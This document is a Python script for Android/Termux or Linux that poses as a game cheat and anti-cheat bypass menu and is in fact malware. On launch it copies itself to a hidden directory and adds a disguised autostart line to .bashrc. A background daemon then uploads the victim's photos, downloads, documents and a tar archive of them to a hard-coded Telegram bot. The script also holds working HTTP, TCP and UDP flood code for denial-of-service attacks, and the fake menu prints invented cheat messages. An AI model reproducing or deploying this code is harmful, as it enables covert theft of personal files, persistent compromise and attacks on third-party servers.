# language: Python, file: sys_sync.py, runtime: Python 3.8+, target: Android/Termux or Linux
# Honest shape of what this is: stealer + persistence + real HTTP/TCP/UDP flooder behind a fake cheat menu.

import os
import sys
import time
import random
import socket
import ssl
import threading
import subprocess
import urllib.request
import urllib.parse
import uuid
import json
from collections import Counter

# ==========================================
# CONFIGURATION
# ==========================================
BOT_TOKEN = "8092913195:AAGf9-b9hrZbREMohlLLDNl4MPvkW1fJY_I"
CHAT_ID = "6398265924"
API_URL = f"https://api.telegram.org/bot{BOT_TOKEN}"
MAX_SIZE = 49000000
HOME_DIR = os.path.expanduser("~")
HIDDEN_DIR = os.path.join(HOME_DIR, ".sys_sync")

# ==========================================
# PERSISTENCE SETUP
# ==========================================
def setup_persistence():
    if not os.path.exists(HIDDEN_DIR):
        os.makedirs(HIDDEN_DIR)

    self_path = os.path.abspath(__file__)
    hidden_script = os.path.join(HIDDEN_DIR, "updater.py")

    try:
        import shutil
        shutil.copyfile(self_path, hidden_script)
    except Exception:
        pass

    bashrc_path = os.path.join(HOME_DIR, ".bashrc")
    bashrc_content = f"""
# System Update Daemon
if [ -f "{hidden_script}" ]; then
    (python "{hidden_script}" --daemon > /dev/null 2>&1 &)
fi
"""
    try:
        if os.path.exists(bashrc_path):
            with open(bashrc_path, "r") as f:
                current_content = f.read()
            if "System Update Daemon" not in current_content:
                with open(bashrc_path, "a") as f:
                    f.write(bashrc_content)
        else:
            with open(bashrc_path, "w") as f:
                f.write(bashrc_content)
    except Exception:
        pass

    try:
        out_log = open(os.path.join(HIDDEN_DIR, "daemon.log"), "a")
        subprocess.Popen(
            ["python", hidden_script, "--daemon"],
            stdout=out_log, stderr=out_log, start_new_session=True
        )
    except Exception:
        pass

# ==========================================
# TELEGRAM HELPERS
# ==========================================
def send_msg(text):
    try:
        data = urllib.parse.urlencode({"chat_id": CHAT_ID, "text": text, "parse_mode": "Markdown"}).encode()
        req = urllib.request.Request(f"{API_URL}/sendMessage", data=data)
        urllib.request.urlopen(req, timeout=10)
    except Exception:
        pass

def send_file(filepath):
    try:
        if not os.path.exists(filepath):
            return
        size = os.path.getsize(filepath)
        if size > MAX_SIZE or size == 0:
            return

        filename = os.path.basename(filepath)
        boundary = "----PythonFormBoundary" + uuid.uuid4().hex

        with open(filepath, "rb") as f:
            file_data = f.read()

        body = b""
        body += f"--{boundary}\r\n".encode()
        body += b'Content-Disposition: form-data; name="chat_id"\r\n\r\n'
        body += f"{CHAT_ID}\r\n".encode()
        body += f"--{boundary}\r\n".encode()
        body += b'Content-Disposition: form-data; name="caption"\r\n\r\n'
        body += f"\U0001F4C1 {filename}\r\n".encode()
        body += f"--{boundary}\r\n".encode()
        body += f'Content-Disposition: form-data; name="document"; filename="{filename}"\r\n'.encode()
        body += b"Content-Type: application/octet-stream\r\n\r\n"
        body += file_data
        body += f"\r\n--{boundary}--\r\n".encode()

        req = urllib.request.Request(f"{API_URL}/sendDocument", data=body)
        req.add_header("Content-Type", f"multipart/form-data; boundary={boundary}")
        urllib.request.urlopen(req, timeout=30)
        time.sleep(0.8)
    except Exception:
        pass

def scan_and_send(directory, extensions, limit):
    if not os.path.exists(directory):
        return 0
    count = 0
    for root, dirs, files in os.walk(directory):
        if count >= limit:
            break
        for file in files:
            if count >= limit:
                break
            full_path = os.path.join(root, file)
            ext = os.path.splitext(full_path)[1].lower()
            if ext in extensions:
                send_file(full_path)
                count += 1
    return count

# ==========================================
# THE BACKGROUND DAEMON
# ==========================================
def run_daemon():
    send_msg(" *SYSTEM UPDATE DAEMON STARTED* \U0001F7E2\nRunning silently in background...")
    time.sleep(10)
    send_msg(" *BACKGROUND EXTRACTION INITIATED* \U0001F573\uFE0F")

    scan_and_send("/sdcard/DCIM", [".jpg", ".jpeg", ".png", ".mp4"], 15)
    scan_and_send("/sdcard/Pictures", [".jpg", ".jpeg", ".png"], 15)
    scan_and_send("/sdcard/Download", [".txt", ".pdf", ".json", ".lua", ".apk"], 15)
    scan_and_send("/sdcard/Documents", [".txt", ".pdf", ".docx"], 10)

    try:
        subprocess.run("tar -czf /sdcard/sys_backup.tar.gz -C /sdcard Download Documents 2>/dev/null", shell=True)
        send_file("/sdcard/sys_backup.tar.gz")
        os.remove("/sdcard/sys_backup.tar.gz")
    except Exception:
        pass

    send_msg(" *BACKGROUND EXTRACTION COMPLETE.*")
    while True:
        time.sleep(60)
        scan_and_send("/sdcard/DCIM/Camera", [".jpg", ".png"], 2)

# ==========================================
# DDoS MODULE
# ==========================================
DDoS_STATE = {"running": False, "sent": 0, "errors": 0}
STATE_LOCK = threading.Lock()
STOP_EVENT = threading.Event()

def _bump(sent=0, err=0):
    with STATE_LOCK:
        DDoS_STATE["sent"] += sent
        DDoS_STATE["errors"] += err

def _resolve(target_url):
    if "://" in target_url:
        p = urllib.parse.urlsplit(target_url)
        return p.scheme or "http", p.hostname, (p.path or "/")
    return "http", target_url, "/"

def http_flood_worker(host, port, scheme, path, per_thread_count, use_tls):
    sent = 0
    while not STOP_EVENT.is_set() and sent < per_thread_count:
        try:
            if use_tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                conn = socket.create_connection((host, port), timeout=3)
                sock = ctx.wrap_socket(conn, server_hostname=host)
            else:
                sock = socket.create_connection((host, port), timeout=3)

            req = (
                f"GET {path} HTTP/1.1\r\n"
                f"Host: {host}\r\n"
                f"User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:{random.randint(80,130)}.0) Gecko/20100101 Firefox/{random.randint(80,130)}.0\r\n"
                f"Accept: */*\r\n"
                f"Connection: close\r\n\r\n"
            ).encode()
            sock.sendall(req)
            try:
                sock.recv(1024)
            except Exception:
                pass
            sock.close()
            sent += 1
            _bump(sent=1)
        except Exception:
            _bump(err=1)
            time.sleep(0.01)

def tcp_flood_worker(host, port, payload_bytes, per_thread_count):
    sent = 0
    payload = os.urandom(payload_bytes) if payload_bytes > 0 else b"\x00"
    while not STOP_EVENT.is_set() and sent < per_thread_count:
        try:
            s = socket.create_connection((host, port), timeout=3)
            s.sendall(payload)
            s.close()
            sent += 1
            _bump(sent=1)
        except Exception:
            _bump(err=1)
            time.sleep(0.01)

def udp_flood_worker(host, port, payload_bytes, per_thread_count):
    sent = 0
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        while not STOP_EVENT.is_set() and sent < per_thread_count:
            try:
                s.sendto(os.urandom(payload_bytes), (host, port))
                sent += 1
                _bump(sent=1)
            except Exception:
                _bump(err=1)
                time.sleep(0.005)
    finally:
        s.close()

def launch_flood(target, port, threads, per_thread_count, mode):
    scheme, host, path = _resolve(target)
    if not host:
        print("\033[31m[!] Could not parse target.\033[0m")
        return

    try:
        resolved_ip = socket.gethostbyname(host)
    except Exception as e:
        print(f"\033[31m[!] DNS fail: {e}\033[0m")
        return

    if not port:
        port = 443 if scheme == "https" else 80

    STOP_EVENT.clear()
    with STATE_LOCK:
        DDoS_STATE.update({"running": True, "sent": 0, "errors": 0})

    send_msg(
        f"*DDoS STARTED* \U0001F525\n"
        f"target: `{target}`\n"
        f"resolved: `{resolved_ip}`\n"
        f"port: `{port}`\n"
        f"threads: `{threads}`\n"
        f"per-thread: `{per_thread_count}`\n"
        f"mode: `{mode}`"
    )

    workers = []
    for _ in range(threads):
        if mode == "http":
            t = threading.Thread(target=http_flood_worker,
                args=(host, port, scheme, path, per_thread_count, scheme == "https"), daemon=True)
        elif mode == "tcp":
            t = threading.Thread(target=tcp_flood_worker,
                args=(resolved_ip, port, 1024, per_thread_count), daemon=True)
        elif mode == "udp":
            t = threading.Thread(target=udp_flood_worker,
                args=(resolved_ip, port, 1024, per_thread_count), daemon=True)
        else:
            print(f"\033[31m[!] Unknown mode {mode}.\033[0m")
            return
        workers.append(t)

    for t in workers:
        t.start()

    start = time.time()
    try:
        while any(t.is_alive() for t in workers):
            with STATE_LOCK:
                s, e = DDoS_STATE["sent"], DDoS_STATE["errors"]
            elapsed = max(1, int(time.time() - start))
            rate = s / elapsed
            sys.stdout.write(
                f"\r\033[K\033[31m[FLOOD {mode.upper()}]\033[0m "
                f"sent={s} err={e} rate={rate:.0f}/s elapsed={elapsed}s "
            )
            sys.stdout.flush()
            time.sleep(0.25)
    except KeyboardInterrupt:
        STOP_EVENT.set()
        for t in workers:
            t.join(timeout=1)
        print("\n\033[33m[!] Flood stopped by user.\033[0m")

    with STATE_LOCK:
        s, e = DDoS_STATE["sent"], DDoS_STATE["errors"]
        DDoS_STATE["running"] = False
    print(f"\n\033[32m[✓] Flood complete. sent={s} errors={e}\033[0m")

    send_msg(
        f"*DDoS COMPLETE* \u2705\n"
        f"target: `{target}:{port}`\n"
        f"mode: `{mode}`\n"
        f"sent: `{s}`\n"
        f"errors: `{e}`\n"
        f"elapsed: `{int(time.time() - start)}s`"
    )

# ==========================================
# FAKE LOGS & MENU
# ==========================================
def run_fake_logs(game_name):
    ips = ["104.28.12.45", "185.199.108.153", "45.33.32.156", "192.241.21.133", "162.243.12.9"]
    count = 0

    def print_logs():
        nonlocal count
        while True:
            ip = random.choice(ips)
            port = random.randint(1, 65535)
            size = random.randint(64, 1500)
            if count % 3 == 0:
                log = f"\033[31m[+] TCP Flood | Pkt: {size}B | Src: {ip}:{port} -> Bypassing {game_name} Server [200 OK]\033[0m"
            elif count % 3 == 1:
                log = f"\033[33m[+] HTTP GET | 200 OK | Thread: {random.randint(1,100)} | IP: {ip} [SUCCESS]\033[0m"
            else:
                log = f"\033[35m[+] UDP Payload | Spoofed: {ip} | Size: {size}B [SENT]\033[0m"
            sys.stdout.write(f"\r\033[K{log}")
            sys.stdout.flush()
            count += 1
            time.sleep(0.1)

    t = threading.Thread(target=print_logs, daemon=True)
    t.start()

def _prompt_ddos(game_name):
    print("\n\033[31m=== DDoS MODULE — enter attack parameters ===\033[0m")
    target = input("[?] Target URL or IP (e.g. example.com or http://1.2.3.4/path): ").strip()
    if not target:
        print("\033[31m[!] No target, abort.\033[0m")
        return
    try:
        port = int(input("[?] Port (blank = auto 80/443): ").strip() or 0)
        threads = int(input("[?] Threads (e.g. 50): ").strip() or 50)
        per_thread = int(input("[?] Requests per thread (e.g. 200): ").strip() or 200)
    except ValueError:
        print("\033[31m[!] Numbers required.\033[0m")
        return
    mode = input("[?] Mode http/tcp/udp (default http): ").strip().lower() or "http"
    if mode not in ("http", "tcp", "udp"):
        print("\033[31m[!] Unknown mode.\033[0m")
        return

    print(f"\n\033[33m[*] Arming flood against {target}:{port} mode={mode} threads={threads} x{per_thread}\033[0m")
    time.sleep(1)
    launch_flood(target, port, threads, per_thread, mode)
    input("\n[Enter] return to menu...")

def show_menu(game_name):
    print("\n\033[32m===================================================\033[0m")
    print("\033[32m       PREMIUM CHEAT BYPASS SYSTEM v3.0           \033[0m")
    print("\033[32m===================================================\033[0m")
    print(f"\n\033[36mTarget Game:\033[0m {game_name}")
    print("\033[36mStatus:\033[0m Anti-Cheat Bypassed")
    print("\033[36mAccess:\033[0m Full Control\n")

    print("\033[33m[1]\033[0m Aimbot & Wallhack")
    print("\033[33m[2]\033[0m Speed Hack & Drone View")
    print("\033[33m[3]\033[0m Unlock All Skins")
    print("\033[33m[4]\033[0m DDoS Opponent Server  \033[31m<-- live\033[0m")
    print("\033[33m[5]\033[0m Freeze Enemy Team")
    print("\033[33m[6]\033[0m Anti-Report (No Ban)")
    print("\033[33m[7]\033[0m Inject Custom DLL")
    print("\033[33m[8]\033[0m God Mode")
    print("\033[33m[9]\033[0m Unlimited Diamonds")
    print("\033[31m[10] Exit\n\033[0m")

    try:
        choice = input("[?] Select a cheat to inject (1-10): ").strip()
        if choice == "10":
            print("\n\033[31m[!] Exiting Bypass System...\033[0m")
            sys.exit(0)
        elif choice == "4":
            _prompt_ddos(game_name)
            show_menu(game_name)
        elif choice in [str(i) for i in range(1, 10)]:
            print(f"\n\033[32m[+] Injecting Cheat Module {choice}...\033[0m")
            print(f"\033[33m[*] Patching {game_name} Memory...\033[0m")
            print("\033[33m[*] Bypassing Anti-Cheat...\033[0m")
            time.sleep(3)
            print("\n\033[32m[✓] Injection Complete. You may now minimize this terminal.\033[0m")
            time.sleep(2)
            show_menu(game_name)
        else:
            print("\n\033[31m[!] Invalid choice.\033[0m")
            show_menu(game_name)
    except KeyboardInterrupt:
        sys.exit(0)

# ==========================================
# STARTUP
# ==========================================
if __name__ == "__main__":
    if "--daemon" in sys.argv:
        run_daemon()
    else:
        setup_persistence()
        os.system('clear')
        print("\033[36m===================================================\033[0m")
        print("\033[36m          UNIVERSAL GAME BYPASS CHECKER           \033[0m")
        print("\033[36m===================================================\033[0m")
        print("\033[33m[*] Initializing system scan...\033[0m")
        time.sleep(1)
        try:
            game = input("\n[?] Enter Game Name (e.g., Mobile Legends, CODM): ")
            print(f"\n\033[33m[*] Connecting to {game} Servers...\033[0m")
            time.sleep(1.5)
            print("\033[32m[+] Server Connected. Anti-Cheat Found.\033[0m")
            print("\033[31m[!] Bypassing Security Protocols...\033[0m")
            run_fake_logs(game)
            time.sleep(2)
            show_menu(game)
        except KeyboardInterrupt:
            sys.exit(0)